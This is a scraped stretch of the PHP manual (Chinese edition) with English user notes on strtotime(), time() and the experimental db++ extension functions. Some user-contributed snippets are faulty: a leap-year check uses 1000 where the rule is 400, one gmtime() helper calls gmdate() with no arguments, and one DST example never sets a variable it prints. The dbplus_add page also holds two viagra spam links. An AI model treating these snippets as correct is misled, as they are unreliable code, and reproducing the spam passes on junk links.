           # Check for this year string in date
           $strYear = (string)$i;
           if (!(strpos($strInput, $strYear)===false)) {
               $replYear = $strYear;
               $yearSkew = 1970 - $i;
               $strInput = str_replace($strYear, "1970", $strInput);
           };
       };
       $iVal = strtotime($strInput);
       if ($yearSkew > 0) {
           $numSecs = (60 * 60 * 24 * 365 * $yearSkew);
           $iVal = $iVal - $numSecs;
           $numLeapYears = 0;        # Work out number of leap years in period
           for ($j=$replYear; $j<=1969; $j++) {
               $thisYear = $j;
               $isLeapYear = false;
               # Is div by 4?
               if (($thisYear % 4) == 0) {
                   $isLeapYear = true;
               };
               # Is div by 100?
               if (($thisYear % 100) == 0) {
                   $isLeapYear = false;
               };
               # Is div by 1000?
               if (($thisYear % 1000) == 0) {
                   $isLeapYear = true;
               };
               if ($isLeapYear == true) {
                   $numLeapYears++;
               };
           };
           $iVal = $iVal - (60 * 60 * 24 * $numLeapYears);
       };
       return($iVal);
   };
websafe at partybitchez dot org
24-Apr-2005 02:53
A small update... Should be ok now.

<?php
function count_months($start_date, $end_date) {
   # Returns whole-month-count between two dates
   # websafe<at>partybitchez<dot>org
   # usage
   #    count_months("1978-02-18", "2028-08-12");
   #
   $start_date_unixtimestamp = strtotime($start_date);
   $start_date_month = date("m", $start_date_unixtimestamp);
   $end_date_unixtimestamp = strtotime($end_date);
   $end_date_month = date("m", $end_date_unixtimestamp);
   $calculated_date_unixtimestamp = $start_date_unixtimestamp;
   $counter=0;
   while ($calculated_date_unixtimestamp < $end_date_unixtimestamp)
   {
       $counter++;
       $calculated_date_unixtimestamp = strtotime($start_date . " +{$counter} months");
   }
   #
   if ( ($counter==1) && ($end_date_month==$start_date_month)) $counter=($counter-1);
   return $counter;
}
?>

Example 01: count_months("1996-02-18", "2005-11-24") returns 118
Example 02: count_months("2005-04-24", "2005-04-24") returns 0
Example 03: count_months("2005-04-24", "2005-04-25") returns 0
Example 04: count_months("1978-02-18", "2028-08-12") returns 606
Example 05: count_months("2008-02-29", "2009-02-29") returns 12
Example 06: count_months("2008-02-29", "2008-03-01") returns 1
Example 07: count_months("2008-02-29", "2008-03-02") returns 1
Example 08: count_months("2008-02-29", "2009-02-28") returns 12
Example 09: count_months("2008-02-29", "2009-02-29") (not existing enddate) returns 12
Example 10: count_months("2008-02-29", "2009-03-01") returns 12
Example 11: count_months("2008-02-29", "2009-03-02") returns 13
miamiseb at nospam_gmail dot com
23-Apr-2005 12:59
If you strtotime the epoch (Jan 1 1970 00:00:00) you will usually get a value, rather than the expected 0. So for example, if you were to try to use the epoch to calculate the difference in times (strtotime(Jan 1 1970 21:00:00)-strtotime(Jan 1 1970 20:00:00) for example) You get a value that depends strongly upon your timezone. If you are in EST for example, the epoch is actually shifted -5 to YOUR epoch is Jan 1 1970 19:00:00) In order to get the offset, simply use the following call to report the number of seconds you are away from the unix epoch. $offset=strtotime("1970-01-01 00:00:00"); Additionally, you can append GMT at the end of your strtotime calls so save yourself the trouble of converting relative to timezone.
thraoln at yahoo dot com
17-Apr-2005 07:04
Quick solution to strtotime() function returning wrong results(for PHP4 and below) when it tries to "guess what you meant" and will successfully parse dates that would otherwise be considered invalid...just dont use it, this works better:

function valid_date($thedate) {
   list($year, $month, $day) = sscanf($thedate, "%d-%d-%d");
   return checkdate($month, $day, $year);
}

"2005-11-25" returns TRUE
"2005-11-32" returns FALSE
ldbkutty at yahoo dot com
13-Apr-2005 06:21
I was trying to find a funtion that will let me add months to a date.

I have tried

$myDate = strtotime("+1 month",mktime(0,0,0,1,31,2004));

This returns 2004-03-02 but I wanted the result as 2004-02-29. So, I noticed there is no equilent function like setLenient as false and I wrote one.

Hope this helps for someone.

<?php

function addMonthNoLenient($my_date, $add_month)
{
  $day = date( "d", $my_date );
  $month = date( "m", $my_date );
  $year = date( "Y", $my_date );

  $new_date = date( "Y-m-d", mktime( 0, 0, 0, $month + $add_month, $day, $year) );

  $month_for_days = ( $month + $add_month ) % 12;
  if( $month_for_days == 0 )
  {
   $month_for_days = 12;
  }

  if( $month_for_days != date( "m", mktime( 0, 0, 0, $month + $add_month , $day, $year ) ) )
  {
   $new_year = date( "Y", mktime( 0, 0, 0, $month + $add_month, $day, $year ) );
   $days_in_month = cal_days_in_month( CAL_GREGORIAN, $month_for_days, $new_year );
   $new_date = date( "Y-m-d", mktime( 0, 0, 0, $month + $add_month, $days_in_month, $year ) );
  }
  return $new_date;
}

?>

<?

  $your_date = mktime( 0, 0, 0, 1, 30, 2004 );
  $months_to_add = 25;
  echo addMonthNoLenient( $your_date, $months_to_add );

?>
Greg Robbins
08-Apr-2005 04:12
This function will count fractional months between 2 dates, perhaps for billing purposes (like for hosting, as was my case).

<?php
function count_months($start_date, $end_date)
{
   //Initialize counters for days and months
   $days = 0;
   $months = 0;

   //get current month (as of your start_date)
   $curr_month = date("Y-m-01", $start_date);

   //loop by days
   while($start_date <= $end_date)
   {
       //If the current iteration has passed on to a new month
       if($curr_month != date("Y-m-01", $start_date))
       {
           //divide the number of days counted by the number of days in the month
           //to get a decimal representation of how many months should be counted.
           //Increment the months count by this value
           $months += $days / date("t", strtotime($curr_month));

           //Uncomment the following line to see how it counts month by month
           //echo "$days Days / " . date("t", strtotime($curr_month)) . " days in month $curr_month<br>\n";

           //Advance the current month
           $curr_month = date("Y-m-01", strtotime($curr_month . " + 1 months"));

           //Reset the days counter sibce we are now counting a new month
           $days = 0;
       }

       //Advance tot he next day...
       $start_date = strtotime(date("Y-m-d", $start_date) . " + 1 days");

       //And increment the day counter
       $days++;
   }

   //This is the same as above but applied to the last month
   $months += $days / date("t", strtotime($curr_month));

   //Uncomment the following line to see how it counts month by month
   //echo "$days Days / " . date("t", strtotime($curr_month)) . " days in month $curr_month<br>\n";

   //This returns a decimal value to two decimals of accuracy
   return sprintf("%01.2f", $months);
}

//Check it out:
$last_billed_date = "2004-12-31";
$bill_thru_this_date = "2005-04-15";

$unix_start_date = strtotime($last_billed_date . " +1 days");
$unix_end_date = strtotime($bill_thru_this_date);

echo "Last billed date: " . $last_billed_date . "<br>";
echo "Bill through date: " . $bill_thru_this_date . "<br>";
echo "Total months: " . count_months($unix_start_date, $unix_end_date);
?>
06-Apr-2005 02:45
I ran into the same problem with "last" as gabrielu at hotmail dot com (05-Apr-2005 10:45) when using strtotime() with getdate(). My only guess is that it has to do with daylight savings time as it seemed to be ok for most dates except those near the first Sunday in April and last Sunday in October.

I used strftime() with strtotime() and that gave me the result I was looking for.
gabrielu at hotmail dot com
06-Apr-2005 12:45
While working on an employee schedule application I noticed an issue with using strtotime('last...').  I ran tests on each weekday for each week within a year and noticed inconsistencies while using:

   date('m/d/Y', strtotime('last Wednesday', '2005-04-05'))

Most calculations of the 'last Wednesday' for each week calculated accordingly however I noticed a problem with several dates, one being '04/05/2005' (April 5th 2005).

   date('m/d/Y', strtotime('last Wednesday', '2005-04-05'))

The above should have returned '03/30/2005'.  Instead, it returned '03/29/2005'.  I don't understand why the function is returning this value.  Regardless, my solution:

   date('m/d/Y', strtotime('-1 week' ,strtotime('Wednesday', '2005-04-05')))
insta at citiesunlimited dot com
02-Apr-2005 06:56
Just a note ... there cannot be spaces between the + and the amount you want to add.

strtotime("{$myDate} -1 months") is correct.
strtotime("{$myDate} - 1 months") is not.

Caused me a headache ...
dfuchs at donotspam dot gmail dot com
30-Mar-2005 06:15
Just pointing out that date( 'M', strtotime( 'last month', [some timestamp]) ) will not actually give the name of the previous month if the day of [some timestamp] doesn't exsist in the previous month.  It will instead round up, and give the name of one month AFTER the previous month ('this month', that is).

For example date( 'M', strtotime( 'last month', [March 31st]) ) will return 'Mar'.

This is documented here: http://www.gnu.org/software/tar/manual/html_chapter/tar_7.html (also linked from this manual page), but is not easy to find:

" The fuzz in units can cause problems with relative items. For example, `2003-07-31 -1 month' might evaluate to 2003-07-01, because 2003-06-31 is an invalid date. To determine the previous month more reliably, you can ask for the month before the 15th of the current month. For example:

$ date -R
Thu, 31 Jul 2003 13:02:39 -0700
$ date --date='-1 month' +'Last month was %B?'
Last month was July?
$ date --date="$(date +%Y-%m-15) -1 month" +'Last month was %B!'
Last month was June! "

Hope that helps somebody!
farooqym at ieee dot org
23-Feb-2005 12:12
This function will return an array containing the months between two dates:

function get_months ( $start, $end ) {

   while ( strtotime($start) <= strtotime($end) ) {
       $months[] = date("F, Y", strtotime( "$start" ) );
       $start = date("Y-m-d", strtotime( "$start + 1 months")) ;
   }
   return $months;
}
ssettl2 at gee mail dot com
14-Jan-2005 05:09
Needed a way to query mysql and find things occuring in the most recently completed workweek.

<?
$last_friday = date("Y-m-d 00:00:00",strtotime("last Friday"));
$last_monday = date("Y-m-d 23:59:59",strtotime("last Monday",strtotime($last_friday)));
?>

Now I just compare these dates with dates in my table.
phpnotes at majiclab dot com
17-Dec-2004 10:10
If anyone is stuck with PHP5 version <5.0.3, and needs to use strtotime functions:

<?php
function strtotimefix($strtotime)
{
   return time() + (strtotime($strtotime) - strtotime('now'));
}

strtotime('+10 seconds'); // will not work as expected
strtotimefix('+10 seconds'); // should work as expected
?>
bishop
09-Dec-2004 12:12
Be warned that strtotime() tries to "guess what you meant" and will successfully parse dates that would otherwise be considered invalid:

<?php

$ts = strtotime('1999-11-40');
echo date('Y-m-d', $ts);

// outputs: 1999-12-10

?>

It is my understanding (I have not verified) that the lexer for strtotime() has been rewritten for PHP5, so these semantics may only apply for PHP4 and below.
Dot_Whut?
06-Dec-2004 06:47
I'm not so sure the following claim (taken from above) is true in all cases:

$date_time2 = strtotime("2004-04-04 02:00:00 GMT"); // works great!

When I try this (on a server that acknowledges Pacific Daylight Savings Time):

echo date('Y-m-d H:i:s'. $date_time2);

I get:

2004-04-03 17:00:00

which is incorrect.  It should be 18:00 hours, the day prior.  It would appear that although GMT (or UTC or even Z) is specified in the time string, the date is treated as if a Daylight Savings Time switch should apply when it shouldn't.

Try this (only if your server would acknowledge PST/PDT in North America)...

// In Greenwich (UTC) at 2:00 AM on the first Sunday in April,
// it is NOT Daylight Savings Time ANYWHERE in North America
$std_time = strtotime('2004-04-04 01:59:59 UTC');
$std_time = strtotime('2004-04-04 02:00:00 UTC');

echo 'Standard Time: ' . date('Y-m-d H:i:s', $std_time) . '<br />';
echo 'Daylight Savings: ' . date('Y-m-d H:i:s', $dst_time) . '<br />';

Emits:

Standard Time: 2004-04-03 17:59:59
Daylight Savings: 2004-04-03 17:00:00

Which is totally incorrect.  Why does should the clock "fall" backward anyways?  I thought the rule was "spring" forward.

The following example does work properly as expected:

// In Greenwich (UTC) at 10:00 AM on the first Sunday in April,
// it is Daylight Savings Time in most of North America
// For Mountain 08:59, Central 07:59, Eastern 06:59, Atlantic 05:59
$std_time = strtotime('2004-04-04 09:59:59 UTC');
// For Mountain 9:00, Central 08:00, Eastern 07:00, Atlantic 06:00
$dst_time = strtotime('2004-04-04 10:00:00 UTC');

echo 'Standard Time: ' . date('Y-m-d H:i:s', $std_time) . '<br />';
echo 'Daylight Savings: ' . date('Y-m-d H:i:s', $dst_time) . '<br />';

Which emits:

Standard Time: 2004-04-04 01:59:59
Daylight Savings: 2004-04-04 03:00:00

Which is correct...
matt at farleyfamily dot net
21-Oct-2004 12:05
Here's a good way to find the next X Weekday of the month (ie the next 3rd Tuesday of the month)

<?
   # set nextmtg to 3rd tuesday after the first of the month
   $nextMeeting = strtotime("+2 week Tuesday", strtotime("first ".date("F"))) + 43200;

   # if nextmtg is past, set it to 3rd tuesday after first of next month
   if ($nextMeeting < time())
       $nextMeeting = strtotime("+2 week Tuesday", strtotime("first ".date("F",strtotime("month")))) + 43200;

   $nextMeeting = date("F dS, Y", $nextMeeting);
   echo "    <p>&radic; <strong>$nextMeeting</strong></p>";
?>
maxz /* at */ rdtc /* dot */ ru
17-Sep-2004 06:52
When you convert date string got by untrusted source (such as If-Modified-Since HTTP Header) don't forget to check if the date string is empty.
<? strtotime('') ?>
returns current timestamp on my php 4.3.8
tim at komta dot com
20-Aug-2004 09:38
After a slight moment of frustration, and finding that I'm not the only one with this problem (see http://bugs.php.net/bug.php?id=28088 - it's a known bug) I decided to write a short workaround for dealing with the 00 hour problem.

The problem only seems to occur when inputting strings such as '08/20/2004 0047' and NOT '08/20/2004 00:47'.  Hence, my fix:

<?php
$your_value ( preg_replace ('#^(\d+/\d+/?\d{2,4} )(00)(\d{2})$#', '$1$2:$3', $your_value() ));
?>
OJW
28-Jun-2004 02:06
I believe these functions can be "stacked" to produce some quite useful results.  For example, the following code gives you the last Monday in August (a UK bank holiday)

<?php
   $LastMondayAugust = strtotime("-1 week monday", strtotime("1 september 2004")) + 43200;
?>

"-1 week" gives you the week before 1 september
"monday" increases the day until it's a monday
43200 is 12 hours in seconds (if you use dates at midnight, a timezone change will occasionally put you one hour into the wrong day)
php at bucksvsbytes dot com
23-Jun-2004 07:15
strtotime (in PHP 4.2.2 anyway) doesn't seem to support fractional seconds, even though the underlying GNU routines document them. Example:
<?php strtotime('2004-06-13 09:20:00.0') ?> returns "12/31/69, 06:59:59" (INCORRECT due to decimal seconds)
<?php strtotime('2004-06-13 09:20:00') ?> returns "6/13/04, 09:20:00" (CORRECT, no decimal seconds)
cryogen at mac dot com
07-Apr-2004 02:39
I neglected to include the solution in my last post for using strtotime() with date-time data stored in GMT.  Append the string "GMT" to all of your datetimes pulled from MySQL or other database that store date-times in the format "yyyy-mm-dd hh:ii:ss" just prior to converting them to a unix timestamp with strtotime().  This will ensure you get a valid GMT result for times during daylight savings.

EXAMPLE:
<?php
$date_time1 = strtotime("2004-04-04 02:00:00"); // returns bad value -1 due to DST
$date_time2 = strtotime("2004-04-04 02:00:00 GMT"); // works great!
?>
cryogen at mac dot com
07-Apr-2004 01:42
It appears that the strtotime() function returns a value of "-1" for the hour that is skipped during the summer daylight savings time (2:00 am on first Sunday of April).  For example if you enter the following:

<?php
$new_dt = strtotime("2004-04-04 02:00:00");
if ($new_dt == -1) echo "Could not convert date-time!";
echo date("m/d/Y H:i:s", $new_dt);
?>
will print:
-----------
Could not convert date-time
12/31/1969 15:59:59

Any time between 02:00:00 and 2:59:59, which is the hour we "spring forward", strtotime() will produce the bad result.  This is NOT true for the "fall back" on the last Sunday of October at 2:00 am when the clocks are set back an hour, which produces a correct result. This can cause problems if you are storing dates in GMT time, for example, in your database, and need to convert them to a unix timestamp for calculations in your PHP scripts.  GMT time does not change during daylight savings time.
kiscix at hotmail dot com
06-Apr-2004 01:37
Sometime due to Timezone,
strtotime('last sunday') will return the last saturday.

To be sure that will never happen, use strtotime('last sunday 12:00:00')
kyle at frozenonline dot com
02-Jan-2004 07:24
I was having trouble parsing Apache log files that consisted of a time entry (denoted by %t for Apache configuration). An example Apache-date looks like: [21/Dec/2003:00:52:39 -0500]

Apache claims this to be a 'standard english format' time. strtotime() feels otherwise.

I came up with this function to assist in parsing this peculiar format.

<?php
function from_apachedate($date)
{
       list($d, $M, $y, $h, $m, $s, $z) = sscanf($date, "[%2d/%3s/%4d:%2d:%2d:%2d %5s]");
       return strtotime("$d $M $y $h:$m:$s $z");
}
?>

Hope it helps anyone else seeking such a conversion.
add a note add a note

后退 | 起点 | 前进
strptime | 上一级 | time


time

(PHP 3, PHP 4, PHP 5)

time -- 返回当前的 Unix 时间戳

说明

int time ( void )

返回自从 Unix 纪元（格林威治时间 1970 年 1 月 1 日 00:00:00）到当前时间的秒数。

例子 1. time() 例子

<?php
$nextWeek = time() + (7 * 24 * 60 * 60);
                   // 7 days; 24 hours; 60 mins; 60secs
echo 'Now:       '. date('Y-m-d') ."\n";
echo 'Next Week: '. date('Y-m-d', $nextWeek) ."\n";
?>

上例的输出类似于：

Now:       2005-03-30
Next Week: 2005-04-07

参见 date() 和 microtime()。

add a note add a note User Contributed Notes
send at mail dot 2aj dot net
09-Jun-2006 02:58
If you want to create a "rounded" time stamp, for example, to the nearest 15 minutes use this as a reference:

<?php
$round_numerator = 60 * 15 // 60 seconds per minute * 15 minutes equals 900 seconds
//$round_numerator = 60 * 60 or to the nearest hour
//$round_numerator = 60 * 60 * 24 or to the nearest day

// Calculate time to nearest 15 minutes!
$rounded_time = ( round ( time() / $round_numerator ) * $round_numerator );

//If it was 12:40 this would return the timestamp for 12:45;
//3:04, 3:00; etc.
?>
AT-HE (at_he at h0tm4il dot com)
06-Jun-2006 02:54
egingell:
better use gmdate() function which has no need to shift local time ;)

<?
function gmtime() {
   return gmdate();
}
?>
egingell at sisna dot com
03-May-2006 04:00
<?

/**
 * Returns the true time in seconds since the Unix Epoch (January 1 1970 00:00:00 GMT)
 *
 * Calling date() with gmtime() as the second parameter is identical to calling
 * gmdate() with time() as the second parameter.
 **/
function gmtime() {    // Get GM offset. See http://www.php.net/manual/en/function.date.php
   return time() - (int) date('Z');
}

?>
info at exitorange dot com
22-Feb-2006 12:11
in order to get the timestamp of the beginning of the current day (useful for synchronising) just do this:

$time = time();
$start_time = mktime(0, 0, 0, date('m', $time),date('d', $time),date('Y', $time));
emory dot smith at gmail dot com
20-Feb-2006 08:17
heres another way to convert a mysql timestamp to a unix timestamp without using the function UNIX_TIMESTAMP in mysql:

<?php
$unix_timestamp = strtotime($mysql_timestamp);
?>
aidan at php dot net
08-Oct-2005 08:14
* A simple function for calculating the number of seconds, minutes, etc in a timestamp is here:
http://aidan.dotgeek.org/repos/?file=Duration.php

Example:
<?php
$time = 60*60*2 + 20*60 + 5;

// Gives 2 hours, 20 minutes, 5 seconds
echo Duration::toString($time);

?>

* For manipulating arbitrary format, or length timestamps, see the PEAR::Date class.
http://pear.php.net/package/Date/

* PHP 6 will be shipping a new inbuilt date and timestamp manipulation API. It's available on PECL here:
http://pecl.php.net/package/date_time
mayank_arya at hotmail dot com
29-May-2003 09:13
Here's one way to generate all intermediate dates (in mySQL format) between any 2 dates.
Get start and end dates from user input, you'd need to do the basic validations that :
- start and end dates are valid dates
- start date <= end date.

<?php
//start date 2001-02-23
$sm=2;
$sd=23;
$sy=2001;

//end date 2001-03-14
$em=3;
$ed=14;
$ey=2001;

//utc of start and end dates
$s=mktime(0,0,0,$sm, $sd, $sy);
$e=mktime(0,0,0,$em, $ed, $ey);

while($s<=$e){
print date('Y-m-d',$s)."< br >"; //display date in  mySQL format
$s=$s+86400; //increment date by 86400 seconds(1 day)
}

Hope this helps :)

?>
paul at honeylocust dot com
14-Jun-2002 03:56
Be careful about using the database clock (say UNIX_TIMESTAMP() in MySQL) and the time() function if you're writing an application that may have the database be on a different machine than the web server.  In that situation,  applications can break because of clock skew -- use a single authority for timestamps if possible.
matt at blockdev dot net
22-Sep-2001 10:04
Lots of MySQL traffic, little PostgreSQL.  PG hasn't UNIX_TIMESTAMP()- instead, use:

extract(epoch from ____)

As in:

SELECT extract(epoch from mytimestamp) FROM mytable WHERE mycondition = true;
08-Sep-2000 03:42
To convert a MySQL timestamp to a Unix-style timestamp, use MySQL's UNIX_TIMESTAMP function.

For Example:
$result=mysql_query ("SELECT UNIX_TIMESTAMP(timestamp_column) as epoch_time FROM table");

$unix_timestamp = mysql_result ($result, 0, 0);
add a note add a note

后退 | 起点 | 前进
strtotime | 上一级 | DB++ Functions


DB++ Functions

PHP 手册
后退 前进

XXIII. DB++ Functions

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

简介

db++, made by the German company Concept asa, is a relational database system with high performance and low memory and disk usage in mind. While providing SQL as an additional language interface, it is not really a SQL database in the first place but provides its own AQL query language which is much more influenced by the relational algebra then SQL is.

Concept asa always had an interest in supporting open source languages, db++ has had Perl and Tcl call interfaces for years now and uses Tcl as its internal stored procedure language.

需求

This extension relies on external client libraries so you have to have a db++ client installed on the system you want to use this extension on.

Concept asa provides db++ Demo versions and documentation for Linux, some other Unix versions. There is also a Windows version of db++, but this extension doesn't support it (yet).

安装

In order to build this extension yourself you need the db++ client libraries and header files to be installed on your system (these are included in the db++ installation archives by default). You have to run configure with option --with-dbplus to build this extension.

configure looks for the client libraries and header files under the default paths /usr/dbplus, /usr/local/dbplus and /opt/dblus. If you have installed db++ in a different place you have add the installation path to the configure option like this: --with-dbplus=/your/installation/path.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

dbplus_relation

Most db++ functions operate on or return dbplus_relation resources. A dbplus_relation is a handle to a stored relation or a relation generated as the result of a query.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

db++ error codes

表格 1. DB++ Error Codes

PHP Constant | db++ constant | meaning
DBPLUS_ERR_NOERR (integer) | ERR_NOERR | Null error condition
DBPLUS_ERR_DUPLICATE (integer) | ERR_DUPLICATE | Tried to insert a duplicate tuple
DBPLUS_ERR_EOSCAN (integer) | ERR_EOSCAN | End of scan from rget()
DBPLUS_ERR_EMPTY (integer) | ERR_EMPTY | Relation is empty (server)
DBPLUS_ERR_CLOSE (integer) | ERR_CLOSE | The server can't close
DBPLUS_ERR_WLOCKED (integer) | ERR_WLOCKED | The record is write locked
DBPLUS_ERR_LOCKED (integer) | ERR_LOCKED | Relation was already locked
DBPLUS_ERR_NOLOCK (integer) | ERR_NOLOCK | Relation cannot be locked
DBPLUS_ERR_READ (integer) | ERR_READ | Read error on relation
DBPLUS_ERR_WRITE (integer) | ERR_WRITE | Write error on relation
DBPLUS_ERR_CREATE (integer) | ERR_CREATE | Create() system call failed
DBPLUS_ERR_LSEEK (integer) | ERR_LSEEK | Lseek() system call failed
DBPLUS_ERR_LENGTH (integer) | ERR_LENGTH | Tuple exceeds maximum length
DBPLUS_ERR_OPEN (integer) | ERR_OPEN | Open() system call failed
DBPLUS_ERR_WOPEN (integer) | ERR_WOPEN | Relation already opened for writing
DBPLUS_ERR_MAGIC (integer) | ERR_MAGIC | File is not a relation
DBPLUS_ERR_VERSION (integer) | ERR_VERSION | File is a very old relation
DBPLUS_ERR_PGSIZE (integer) | ERR_PGSIZE | Relation uses a different page size
DBPLUS_ERR_CRC (integer) | ERR_CRC | Invalid crc in the superpage
DBPLUS_ERR_PIPE (integer) | ERR_PIPE | Piped relation requires lseek()
DBPLUS_ERR_NIDX (integer) | ERR_NIDX | Too many secondary indices
DBPLUS_ERR_MALLOC (integer) | ERR_MALLOC | Malloc() call failed
DBPLUS_ERR_NUSERS (integer) | ERR_NUSERS | Error use of max users
DBPLUS_ERR_PREEXIT (integer) | ERR_PREEXIT | Caused by invalid usage
DBPLUS_ERR_ONTRAP (integer) | ERR_ONTRAP | Caused by a signal
DBPLUS_ERR_PREPROC (integer) | ERR_PREPROC | Error in the preprocessor
DBPLUS_ERR_DBPARSE (integer) | ERR_DBPARSE | Error in the parser
DBPLUS_ERR_DBRUNERR (integer) | ERR_DBRUNERR | Run error in db
DBPLUS_ERR_DBPREEXIT (integer) | ERR_DBPREEXIT | Exit condition caused by prexit() * procedure
DBPLUS_ERR_WAIT (integer) | ERR_WAIT | Wait a little (Simple only)
DBPLUS_ERR_CORRUPT_TUPLE (integer) | ERR_CORRUPT_TUPLE | A client sent a corrupt tuple
DBPLUS_ERR_WARNING0 (integer) | ERR_WARNING0 | The Simple routines encountered a non fatal error which was corrected
DBPLUS_ERR_PANIC (integer) | ERR_PANIC | The server should not really die but after a disaster send ERR_PANIC to all its clients
DBPLUS_ERR_FIFO (integer) | ERR_FIFO | Can't create a fifo
DBPLUS_ERR_PERM (integer) | ERR_PERM | Permission denied
DBPLUS_ERR_TCL (integer) | ERR_TCL | TCL_error
DBPLUS_ERR_RESTRICTED (integer) | ERR_RESTRICTED | Only two users
DBPLUS_ERR_USER (integer) | ERR_USER | An error in the use of the library by an application programmer
DBPLUS_ERR_UNKNOWN (integer) | ERR_UNKNOWN |

目录
dbplus_add -- Add a tuple to a relation
dbplus_aql -- Perform AQL query
dbplus_chdir -- Get/Set database virtual current directory
dbplus_close -- Close a relation
dbplus_curr -- Get current tuple from relation
dbplus_errcode -- Get error string for given errorcode or last error
dbplus_errno -- Get error code for last operation
dbplus_find -- Set a constraint on a relation
dbplus_first -- Get first tuple from relation
dbplus_flush -- Flush all changes made on a relation
dbplus_freealllocks -- Free all locks held by this client
dbplus_freelock -- Release write lock on tuple
dbplus_freerlocks -- Free all tuple locks on given relation
dbplus_getlock -- Get a write lock on a tuple
dbplus_getunique -- Get an id number unique to a relation
dbplus_info -- Get information about a relation
dbplus_last -- Get last tuple from relation
dbplus_lockrel -- Request write lock on relation
dbplus_next -- Get next tuple from relation
dbplus_open -- Open relation file
dbplus_prev -- Get previous tuple from relation
dbplus_rchperm -- Change relation permissions
dbplus_rcreate -- Creates a new DB++ relation
dbplus_rcrtexact -- Creates an exact but empty copy of a relation including indices
dbplus_rcrtlike -- Creates an empty copy of a relation with default indices
dbplus_resolve -- Resolve host information for relation
dbplus_restorepos -- Restore position
dbplus_rkeys -- Specify new primary key for a relation
dbplus_ropen -- Open relation file local
dbplus_rquery -- Perform local (raw) AQL query
dbplus_rrename -- Rename a relation
dbplus_rsecindex -- Create a new secondary index for a relation
dbplus_runlink -- Remove relation from filesystem
dbplus_rzap -- Remove all tuples from relation
dbplus_savepos -- Save position
dbplus_setindex -- Set index
dbplus_setindexbynumber -- Set index by number
dbplus_sql -- Perform SQL query
dbplus_tcl -- Execute TCL code on server side
dbplus_tremove -- Remove tuple and return new current tuple
dbplus_undo -- Undo
dbplus_undoprepare -- Prepare undo
dbplus_unlockrel -- Give up write lock on relation
dbplus_unselect -- Remove a constraint from relation
dbplus_update -- Update specified tuple in relation
dbplus_xlockrel -- Request exclusive lock on relation
dbplus_xunlockrel -- Free exclusive lock on relation

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
time | 上一级 | dbplus_add


dbplus_add

(4.1.0 - 4.2.3 only, PECL)

dbplus_add -- Add a tuple to a relation

Description

int dbplus_add ( resource relation, array tuple )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

This function will add a tuple to a relation. The tuple data is an array of attribute/value pairs to be inserted into the given relation. After successful execution the tuple array will contain the complete data of the newly created tuple, including all implicitly set domain fields like sequences.

The function will return zero (aka. DBPLUS_ERR_NOERR) on success or a db++ error code on failure. See dbplus_errcode() or the introduction to this chapter for more information on db++ error codes.

add a note add a note User Contributed Notes
09-Jun-2006 07:28
<a href=http://shorl.com/divejosapyfu>buy sildenafil viagra</a>
09-Jun-2006 05:26
<a href=http://shorl.com/botahogebogro>recreational viagra</a>
add a note add a note

后退 | 起点 | 前进
DB++ Functions | 上一级 | dbplus_aql


dbplus_aql

(4.1.0 - 4.2.3 only, PECL)

dbplus_aql -- Perform AQL query

Description

resource dbplus_aql ( string query [, string server [, string dbpath]] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_aql() will execute an AQL query on the given server and dbpath.

On success it will return a relation handle. The result data may be fetched from this relation by calling dbplus_next() and dbplus_current(). Other relation access functions will not work on a result relation.

Further information on the AQL A... Query Language is provided in the original db++ manual.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_add | 上一级 | dbplus_chdir


dbplus_chdir

(4.1.0 - 4.2.3 only, PECL)

dbplus_chdir -- Get/Set database virtual current directory

Description

string dbplus_chdir ( [string newdir] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_chdir() will change the virtual current directory where relation files will be looked for by dbplus_open(). dbplus_chdir() will return the absolute path of the current directory. Calling dbplus_chdir() without giving any newdir may be used to query the current working directory.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_aql | 上一级 | dbplus_close


dbplus_close

(4.1.0 - 4.2.3 only, PECL)

dbplus_close -- Close a relation

Description

mixed dbplus_close ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Calling dbplus_close() will close a relation previously opened by dbplus_open().

Returns TRUE on success or DBPLUS_ERR_UNKNOWN on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_chdir | 上一级 | dbplus_curr


dbplus_curr

(4.1.0 - 4.2.3 only, PECL)

dbplus_curr -- Get current tuple from relation

Description

int dbplus_curr ( resource relation, array &tuple )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_curr() will read the data for the current tuple for the given relation and will pass it back as an associative array in tuple.

The function will return zero (aka. DBPLUS_ERR_NOERR) on success or a db++ error code on failure. See dbplus_errcode() or the introduction to this chapter for more information on db++ error codes.

See also dbplus_first(),
dbplus_prev(),
dbplus_next(), and
dbplus_last().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_close | 上一级 | dbplus_errcode


dbplus_errcode

(4.1.0 - 4.2.3 only, PECL)

dbplus_errcode -- Get error string for given errorcode or last error

Description

string dbplus_errcode ( [int errno] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_errcode() returns a cleartext error string for the error code passed as errno of for the result code of the last db++ operation if no parameter is given.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_curr | 上一级 | dbplus_errno


dbplus_errno

(4.1.0 - 4.2.3 only, PECL)

dbplus_errno -- Get error code for last operation

Description

int dbplus_errno ( void )

警告

